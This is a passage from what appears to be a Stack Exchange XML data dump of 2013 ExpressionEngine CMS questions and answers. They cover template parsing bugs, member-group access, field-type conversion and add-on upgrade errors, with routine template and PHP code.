href=&quot;{path=/about}&quot;&amp;gt;{blog_author:title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;{blog_author:staff_title}{/if}{/blog_author}&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clues why the code is showing like that?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-06-03T21:01:21.447" Title="Why is the Related Entries code showing after upgrading to EE 2.6.1?" Tags="|related-entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10945" PostTypeId="1" AcceptedAnswerId="11106" CreationDate="2013-06-03T17:26:41.617" Score="0" ViewCount="149" Body="&lt;p&gt;My coworker and I are baffled by a recent issue that came up when we switched all of our embeds over to Low Variables. The weirdest part is that the issue is happening on his machine, not mine, and we have identical code and database...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, we have a low variable we called 'low_snippet_left_sidebar' that's set for early parsing, and saved as a file. We're calling it from our template by using just {low_snippet_left_sidebar}. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:navee:custom&#xA;    nav_title=&quot;main-nav&quot;&#xA;    start_nav_from_parent=&quot;true&quot;&#xA;    class=&quot;secondary-nav&quot;&#xA;    only_display_children_of_selected=&quot;true&quot;&#xA;    selected_class_on_parents=&quot;true&quot;&#xA;    parent_selected_class=&quot;parent-selected&quot;&#xA;    }&#xA;    &amp;lt;li class=&quot;{class}&quot; data-count=&quot;{navee_count}&quot;&amp;gt;&amp;lt;a href=&quot;{link}&quot; rel=&quot;{rel}&quot; target=&quot;{target}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;span&amp;gt;{text}&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;{kids}&amp;lt;/li&amp;gt;&#xA;{/exp:navee:custom}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when that renders on the page, it spits out the nav just fine... except before each nav item, there's a stray &lt;code&gt;d&quot; }&lt;/code&gt; that shows up for some reason... And that just happens to be the end of that long navee tag with parameters on separate lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested out swapping the last two parameters in that tag, and what ended up happening was the stray characters became &lt;code&gt;e&quot; }&lt;/code&gt; instead. Weird. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then we tried making that navee tag all on one line, without having each parameter on its own line, and the problem went away! What is happening here? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How come having line breaks in my tags works on my machine, but not on my co-workers? This issue doesn't arise if we just use EE's Snippets instead of Low Variables...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a pic of the nav that gets output, without the errors (we used EE snippet)&#xA;&lt;a href=&quot;http://paleosun.com/misc/mahec-secondary-nav-working.png&quot; rel=&quot;nofollow&quot;&gt;http://paleosun.com/misc/mahec-secondary-nav-working.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's a pic of the nav that gets output as a Low Variable&#xA;&lt;a href=&quot;http://paleosun.com/misc/mahec-secondary-nav-broken.png&quot; rel=&quot;nofollow&quot;&gt;http://paleosun.com/misc/mahec-secondary-nav-broken.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas/hints/clues? I don't think this is a nav-ee related issue, as the same issue is happening wherever we have line-breaks between parameters in tags, in a low variable, and only on my coworkers computer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2013-06-08T12:11:32.800" Title="Strange parsing issue after switching from embeds to Low Variables snippets" Tags="|error|low-variables|parse-order|snippets|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10946" PostTypeId="2" ParentId="10878" CreationDate="2013-06-03T17:49:10.587" Score="1" Body="&lt;p&gt;At this point, I can confirm this is a server fault, the problem did not come from either Safari or Expresso Store. I've uploaded my local dev version to another staging server and everything appears to be working properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, still need to investigate further to find out what really caused the problem since the current server is configured almost exactly the same as the one I just used to test. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me what kind of settings I should check?&lt;/p&gt;&#xA;" OwnerUserId="477" LastActivityDate="2013-06-03T17:49:10.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10947" PostTypeId="1" CreationDate="2013-06-03T19:16:09.587" Score="1" ViewCount="186" Body="&lt;p&gt;Currently facing the following error in the &lt;code&gt;cp_js_end&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Undefined property: Javascript::$session &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it looks like the session class isn`t loading anymore in EE 2.6+ It whas working in older versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug, or did EL change the way of loading the session class in some other order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cp_js_end()&#xA;{&#xA;   print_r(ee()-&amp;gt;session);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditDate="2013-06-05T13:08:44.637" LastActivityDate="2013-06-11T14:38:48.863" Title="Undefined property session in cp_js_end hook" Tags="|add-on-development|sessions|hook|development|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10948" PostTypeId="1" AcceptedAnswerId="10949" CreationDate="2013-06-03T19:30:31.063" Score="0" ViewCount="53" Body="&lt;p&gt;I am seeing some strange Control Panel formatting in a site I work on. The site is running EE 2.6.1 and in general works fine, however, I cannot change the Control Panel theme. It defaults to Corporate and even if I remove Corporate from cp_themes from the server, it still displays Corporate. Any suggestions on how to change that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-06-03T20:02:28.270" Title="The CP Theme appears to be locked. How do I change it?" Tags="|control-panel|cp-themes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10949" PostTypeId="2" ParentId="10948" CreationDate="2013-06-03T20:02:28.270" Score="0" Body="&lt;p&gt;Take a look in system/expressionengine/config/config.php - you'll probably find the theme is hardcoded there with &lt;code&gt;$config['cp_theme'] = 'corporate'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-06-03T20:02:28.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10950" PostTypeId="1" AcceptedAnswerId="10951" CreationDate="2013-06-03T20:31:30.893" Score="0" ViewCount="89" Body="&lt;p&gt;Is there a way I can change a Text field to a Date field and not toast the data that is already there?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-06-04T17:46:15.190" Title="How do I change a Text Field to a Date Field without losing the content values?" Tags="|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10951" PostTypeId="2" ParentId="10950" CreationDate="2013-06-03T20:40:24.327" Score="4" Body="&lt;p&gt;You should not lose any data which already exists in your fields when changing field types - but if you have anything but a UNIX timestamp stored in the existing text field, the Date fieldtype won't know what to do with the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To update your existing fields from your current format (&lt;code&gt;5/14/2013&lt;/code&gt;) to a timestamp for use with the Date fieldtype, put this code in a PHP-enabled template and run it (backup your database first of course):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $current = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;&#xA;        SELECT entry_id, field_id_XX FROM exp_channel_data WHERE field_id_XX != ''&#xA;    &quot;);&#xA;    foreach($current-&amp;gt;result_array() as $row)&#xA;    {&#xA;        $timestamp = strtotime($row['field_id_XX']);&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update_string('exp_channel_data', array('field_id_XX' =&amp;gt; $timestamp), 'entry_id='.$row['entry_id'])&#xA;        );  &#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-06-04T17:46:15.190" LastActivityDate="2013-06-04T17:46:15.190" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10952" PostTypeId="2" ParentId="10945" CreationDate="2013-06-03T20:58:06.513" Score="0" Body="&lt;p&gt;There is an &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19434&quot; rel=&quot;nofollow&quot;&gt;acknowledged bug&lt;/a&gt; with EE 2.6.1 where multi-line parameters in templates are broken. I'd guess that you are running different EE versions locally?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-03T20:58:06.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10953" PostTypeId="2" ParentId="10944" CreationDate="2013-06-03T21:01:21.447" Score="1" Body="&lt;p&gt;My guess is that you're using file-based templates, and during the upgrade only the database version of your templates were upgraded to use the new syntax (possibly due to insufficient permissions on the updater's part).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-03T21:01:21.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10954" PostTypeId="2" ParentId="10942" CreationDate="2013-06-04T00:28:50.240" Score="1" Body="&lt;p&gt;I'm actually working on a similar issue right now. We have a website where specific member groups have solspace user editable member templates but don't have control panel access. Attached to those profiles, are channel entries where they can display extra information about events in their area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first road I'm starting down is to make it so that the coupon is one of the fields in that entry, but not editable from the public side. When an entry is created, one of the fields will be the CartThrob &quot;Coupon Code Field&quot;, so they could actually create their own codes using that custom field. But the actual settings field is not accessible, except to the staff that has control panel access. From there I will be modifying the coupon settings field to already have the default values in place upon entry creation, so staff can change the actual values if need be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this solution would apply to members that don't have control panel access, and can be done with solspace user or if it is desirable to have channel profiles automatically created then profile:edit (creates profile entries upon edit) or zoo visitor (creates profile entries automatically). I just don't know exactly how I would keep it all straight if two members create the same coupon code, maybe I'll make it so that a unique value needs to be pre-pended based on that unique member id or another value unique to that entry or member. Or tell them, &quot;This is your code, period, full stop.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second road will be to try a variation of this price field changer extension &lt;a href=&quot;http://cartthrob.com/forums/viewthread/4547/#21625&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/forums/viewthread/4547/#21625&lt;/a&gt; (Also found in the SDK, but having an issue with that version on the most recent version of EE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially the channel would have a very basic coupon plugin type that would do nothing more than set the custom data that makes the price field changer set or unset the price based on the cart contents. This second way would make it so that coupon prices can be controlled from the actual product's channel entry, so it stays consistent. If it ends up that we really need to make it so that coupons stay in their own channel, then perhaps relationships or asigned author IDs will keep things organized... but now my head is starting to swell.&lt;/p&gt;&#xA;" OwnerUserId="1255" LastEditorUserId="1255" LastEditDate="2013-06-04T00:48:51.373" LastActivityDate="2013-06-04T00:48:51.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10956" PostTypeId="1" AcceptedAnswerId="10961" CreationDate="2013-06-04T07:14:00.167" Score="2" ViewCount="290" Body="&lt;p&gt;Is it possible, in Expresso Store, to display the shipping methods not in a dropdown, but in radial buttons or tick boxes instead? I'd like to display shipping methods side by side in designed boxes with radial buttons.&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-06-04T09:35:45.050" Title="Do the Expresso Store shipping methods have to be displayed in a dropdown?" Tags="|expresso-store|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10957" PostTypeId="1" CreationDate="2013-06-04T07:38:23.587" Score="0" ViewCount="312" Body="&lt;p&gt;I've made 2 new Member Groups, Ouders and Kids.&#xA;Both are base on the Members group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've a Template Group nieuws. Access for this index is only for Member Group Ouders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've a Template Group activities. Access for this index is only for Member Group Kids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my template nieuws/index I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if logged_in}&#xA;&#xA; {exp:channel:entries channel=&quot;nieuws&quot; disable=&quot;categories|member_data&quot;}&#xA; .... &#xA;{/exp:channel:entries}&#xA;&#xA;&#xA; {/if}&#xA;&#xA;&#xA; {if logged_out} &#xA;{exp:member:login_form}&#xA;         &amp;lt;p&amp;gt; &amp;lt;label&amp;gt;gebruikersnaam&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; class=&quot;formfield&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;         &amp;lt;/p&amp;gt;&#xA;         &amp;lt;p&amp;gt; &amp;lt;label&amp;gt;wachtwoord&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt; &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; class=&quot;formfield&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;         &amp;lt;/p&amp;gt;&#xA;&#xA;         &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;button&quot; value=&quot;LOGIN&quot;&amp;gt;&amp;lt;/p&amp;gt;   &#xA;{/exp:member:login_form} &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my template activities/index I have this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;&#xA;{exp:channel:entries channel=&quot;activities&quot; disable=&quot;categories|member_data&quot;}&#xA;....&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;{/if}&#xA;&#xA;&#xA;{if logged_out}&#xA;{exp:member:login_form}&#xA;        &amp;lt;p&amp;gt;&#xA;&amp;lt;label&amp;gt;gebruikersnaam&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;username&quot; value=&quot;&quot; class=&quot;formfield&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;&amp;lt;label&amp;gt;wachtwoord&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;input type=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; class=&quot;formfield&quot; maxlength=&quot;32&quot; size=&quot;25&quot;&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;button&quot; value=&quot;LOGIN&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:member:login_form}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I login with the username/password from a Kids Member Group I get access to both templates (nieuws and activities) when a Kids member should only have access to the activities template. If I login as a Ouders member I get access also to both template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong or do I need an Add-on to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastEditorUserId="482" LastEditDate="2013-06-04T10:43:22.303" LastActivityDate="2013-06-04T14:50:09.927" Title="Members Group Access login" Tags="|members|registration|groups|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10958" PostTypeId="1" AcceptedAnswerId="10968" CreationDate="2013-06-04T07:41:52.590" Score="0" ViewCount="231" Body="&lt;p&gt;I am trying to create a Google sitemap. On some of my channels I need to only output URLs that match a certain criteria based on custom fields. If I use the search parameter it works fine... except if I am using the diable=&quot;custom_fields&quot; parameter. If that parameter is in then the search parameter is ignored completely. Seems like a bug to me since I can disable categories yet use the categories parameter just fine. So how can I get around this? I can't really enable custom fields since I will be running through all the pages in my site and that would slow things down quite a bit. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of using a conditional inside the exp:entries tag... but with custom_fields disabled, I wouldn't have anything to test against.&lt;/p&gt;&#xA;" OwnerUserId="1556" LastActivityDate="2013-06-04T13:27:07.503" Title="exp:entries search parameter not working when disable=&quot;custom_fields&quot;" Tags="|custom-fields|search|parameters|bug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10959" PostTypeId="1" CreationDate="2013-06-04T07:47:47.167" Score="3" ViewCount="308" Body="&lt;p&gt;I upgraded an EE site to 2.6.1 yesterday and then Matrix from 2.0.8 to 2.5.5. However when &#xA;I went to Add-ons &gt; Fieldtypes &gt; Matrix, nothing happened. Isn't there supposed to be an upgrade script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to edit any entries, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;&#xA;Error Number: 1054&#xA;&#xA;Unknown column 'is_draft' in 'where clause'&#xA;&#xA;SELECT row_id, col_id_1, col_id_2, col_id_3 FROM exp_matrix_data WHERE field_id = 1 AND entry_id = 3 AND is_draft = 0 ORDER BY row_order ASC&#xA;&#xA;Filename: third_party/matrix/ft.matrix.php&#xA;&#xA;Line Number: 2912&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried uploading the Matrix files again and then to upgrade but still doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="1049" LastActivityDate="2018-07-10T08:35:26.380" Title="P&amp;T Matrix error after upgrade to 2.5.5" Tags="|matrix|upgrade|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10960" PostTypeId="1" AcceptedAnswerId="13119" CreationDate="2013-06-04T08:14:33.620" Score="0" ViewCount="260" Body="&lt;p&gt;I've just moved a site using 2.5.5 from my local setup to our hosting account under a sub-domain for staging but am having some odd issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first the site is fine but if I visit the add-ons tab I get the whitescreen of death front-end and CP. I turned on debugging and got the following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Unable to connect to your database server using the provided settings.&#xA;Filename: core/EE_Config.php&#xA;Line Number: 211&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disabling extensions in config.php didnt help but if I change the database user (ie create a new user and update database.php) the site comes back fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with extensions disabled, if I try to access add-ons, I get the same routine…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 2.5.3 site in another subdomain on the same server with no issues at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following third-party add-ons installed: Assets 2, Matrix, CP Analytics, Field Editor, Freeform, Google Maps for EE, Low Reorder, NavEE, REElocate, Sitemap, Environment, Health Check, NSM Addon Updater, Low Alphabet, P&amp;amp;T Field Pack, Playa, Expresso, CE Image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The local install is running perfectly.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-08-24T01:32:54.513" Title="Bizarre whitescreen of death issue" Tags="|white-screen-of-death|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10961" PostTypeId="2" ParentId="10956" CreationDate="2013-06-04T09:35:45.050" Score="1" Body="&lt;p&gt;The shipping method is a standard input field, you can template it however you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;radio&quot; name=&quot;shipping_method&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;shipping_method&quot; value=&quot;2&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;radio&quot; name=&quot;shipping_method&quot; value=&quot;3&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, if you want to automatically generate the list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{shipping_methods}&#xA;    &amp;lt;label&amp;gt;&#xA;        &amp;lt;input type=&quot;radio&quot; name=&quot;shipping_method&quot; value=&quot;{method_id}&quot; /&amp;gt;&#xA;        {method_title}&#xA;    &amp;lt;/label&amp;gt;&#xA;{/shipping_methods}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Documentation here: &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#shipping_methods&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/checkout_tag.html#shipping_methods&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-06-04T09:35:45.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10962" PostTypeId="2" ParentId="10225" CreationDate="2013-06-04T09:42:45.910" Score="0" Body="&lt;p&gt;Not exactly what you're looking for, but we have &lt;a href=&quot;https://devot-ee.com/add-ons/sitemap-pinger&quot; rel=&quot;nofollow&quot;&gt;Sitemap Pinger&lt;/a&gt; extension&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-06-04T09:42:45.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10963" PostTypeId="2" ParentId="10847" CreationDate="2013-06-04T10:12:11.373" Score="1" Body="&lt;p&gt;embed this in your index.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;name_of_your_relationship_channel&quot; dynamic=&quot;off&quot;}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;relationship_field&quot;}&#xA;&#xA;{title}&#xA;&amp;lt;img src=&quot;{asset_field_name}&quot; alt=&quot;&quot;&amp;gt;&#xA;&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if this is not clear for u then look up here &#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#id18&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#id18&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1600" LastActivityDate="2013-06-04T10:12:11.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10965" PostTypeId="2" ParentId="10957" CreationDate="2013-06-04T12:44:24.603" Score="1" Body="&lt;p&gt;You can modify &lt;strong&gt;each&lt;/strong&gt; of your conditionals surrounding the channel entries tag to include group info.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_group_id == '1' OR logged_in_group_id == '7'}&#xA;  &amp;lt;!-- Enter in correct id for member group, including any admin groups. --&amp;gt;&#xA;  {exp:channel:entries ...}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also redirect someone who went to the wrong page. For example, if a logged in kid goes to the nieuws page, you can redirect them to the activities page by adding this to the nieuws template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_group_id == '7'}{redirect=&quot;/activities&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-06-04T14:50:09.927" LastActivityDate="2013-06-04T14:50:09.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10967" PostTypeId="1" AcceptedAnswerId="11048" CreationDate="2013-06-04T13:23:49.490" Score="2" ViewCount="628" Body="&lt;p&gt;How do I turn off the developer log? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already checked the &lt;strong&gt;Output and Debugging Preferences&lt;/strong&gt; at the &lt;strong&gt;System administration&lt;/strong&gt; section in the CMS but there's no option for that.&lt;/p&gt;&#xA;" OwnerUserId="171" LastActivityDate="2014-09-24T17:06:26.847" Title="How to turn off the developer log?" Tags="|ee2|development|developer-log|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10968" PostTypeId="2" ParentId="10958" CreationDate="2013-06-04T13:27:07.503" Score="0" Body="&lt;p&gt;This is not really a bug, but more of an inconsistency in how performance bottlenecks are determined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason that you can still filter by category even when categories are disabled in your tag is likely because the &lt;code&gt;exp_category_posts&lt;/code&gt; table has its columns indexed (so running a &lt;code&gt;JOIN&lt;/code&gt; on them in the query is pretty fast), whereas the &lt;code&gt;exp_channel_data&lt;/code&gt;'s custom field columns are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd just keep &lt;code&gt;custom_fields&lt;/code&gt; enabled and use caching to lighten the load (either tag caching, template caching, or for a much better option, &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE Cache&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-04T13:27:07.503" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10970" PostTypeId="2" ParentId="10967" CreationDate="2013-06-04T13:31:34.287" Score="-1" Body="&lt;p&gt;I assume you mean the the notice the appears when there are notices for developers, on the control panel home screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK, you cannot disable the Developer Log. But these notices should only be showing to Super Admins.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-04T13:31:34.287" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10971" PostTypeId="1" AcceptedAnswerId="11030" CreationDate="2013-06-04T13:35:24.927" Score="0" ViewCount="93" Body="&lt;p&gt;Recently I've installed the Channel Polls module of Devdemon on my development environment.&#xA;I addded the fieldtype to the channel and edited a existing entry, when I press submit the system will throw a database error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dyfed.png&quot; alt=&quot;INSERT INTO &amp;lt;code&amp;gt;exp_developer_log&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;site_id&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;entry_id&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;channel_id&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;field_id&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;member_id&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;poll_status&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;allow_multiple&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;member_groups&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;result_order&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;show_results&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;chart_type&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;chart_width&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;chart_height&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;chart_bg&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;function&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;line&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;file&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;deprecated_since&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;use_instead&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;timestamp&amp;lt;/code&amp;gt;) VALUES (&amp;#39;1&amp;#39;, &amp;#39;4&amp;#39;, &amp;#39;5&amp;#39;, &amp;#39;68&amp;#39;, 1, &amp;#39;1&amp;#39;, &amp;#39;0&amp;#39;, &amp;#39;1|5&amp;#39;, &amp;#39;answer_order&amp;#39;, &amp;#39;after_vote&amp;#39;, &amp;#39;google_pie_3d&amp;#39;, &amp;#39;350&amp;#39;, &amp;#39;300&amp;#39;, &amp;#39;FFFFFF&amp;#39;, &amp;#39;convert_human_date_to_gmt()&amp;#39;, 478, &amp;#39;C:\Projects\SP Haarlem\Website\Development\2.6.1\system\expressionengine\third_party\channel_polls\ft.channel_polls.php&amp;#39;, &amp;#39;2.6&amp;#39;, &amp;#39;Localize::string_to_timestamp&amp;#39;, 1370352409)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unknown column 'site_id' in 'field list'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;INSERT INTO &lt;code&gt;exp_developer_log&lt;/code&gt; (&lt;code&gt;site_id&lt;/code&gt;, &lt;code&gt;entry_id&lt;/code&gt;, &lt;code&gt;channel_id&lt;/code&gt;, &lt;code&gt;field_id&lt;/code&gt;, &lt;code&gt;member_id&lt;/code&gt;, &lt;code&gt;poll_status&lt;/code&gt;, &lt;code&gt;allow_multiple&lt;/code&gt;, &lt;code&gt;member_groups&lt;/code&gt;, 